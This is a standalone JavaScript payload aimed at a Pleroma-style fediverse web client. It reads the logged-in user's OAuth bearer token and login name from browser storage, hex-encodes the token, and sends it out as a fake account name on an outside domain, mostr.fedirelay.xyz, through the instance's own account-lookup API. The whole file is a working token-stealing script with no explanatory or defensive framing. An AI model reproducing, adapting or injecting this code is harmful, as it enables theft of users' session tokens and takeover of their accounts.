async function send(token, userToken, lastLoginName) { function generateTable() { var temp, table = []; for (var i = 0; i < 256; i++) { temp = i; for (var j = 0; j < 8; j++) { temp = temp & 1 ? 3988292384 ^ (temp >>> 1) : temp >>> 1; } table[i] = temp; } return table; } function hash(str) { var table = generateTable(), result = 0 ^ -1; for (var i = 0; i < str.length; i++) { result = (result >>> 8) ^ table[(result ^ str.charCodeAt(i)) & 255]; } return ((result ^ -1) >>> 0).toString(16); } let acct = token .split('') .map((char) => char.charCodeAt(0).toString(16).padStart(2, '0')) .join('') + hash(lastLoginName).slice(0, 4); await fetch( 'https://' + window.location.hostname + '/api/v1/accounts/lookup?acct=' + acct + '%40mostr.fedirelay.xyz', { credentials: 'include', headers: { Accept: 'application/json', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/json', Authorization: 'Bearer ' + userToken, 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin', }, referrer: 'https://' + window.location.hostname + '/' + acct + '@' + window.location.hostname, method: 'GET', mode: 'cors', }, ); await fetch( 'https://' + window.location.hostname + '/api/v1/accounts/' + acct + '@mostr.fedirelay.xyz', { credentials: 'include', headers: { Accept: 'application/json', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/json', Authorization: 'Bearer ' + userToken, 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin', }, referrer: 'https://' + window.location.hostname + '/' + acct + '@' + window.location.hostname, method: 'GET', mode: 'cors', }, ); } (async function () { let auth = JSON.parse(localStorage.getItem('localforage/vuex-lz')); if (auth == undefined) { const openRequest = window.indexedDB.open('localforage', 2); openRequest.onsuccess = async (e) => { let db = openRequest.result; const transaction = db.transaction(['keyvaluepairs'], 'readwrite'); let keyvaluepairs = transaction.objectStore('keyvaluepairs'); let request = keyvaluepairs.get('vuex-lz'); request.onsuccess = async (e) => { auth = request.result; let lastLoginName = auth?.users?.lastLoginName; let userToken = auth?.oauth?.userToken; let token = ''; token += auth?.oauth?.userToken; await send(token, userToken, lastLoginName); }; }; return; } let lastLoginName = auth?.users?.lastLoginName; let userToken = auth?.oauth?.userToken; let token = ''; token += auth?.oauth?.userToken; await send(token, userToken, lastLoginName); })();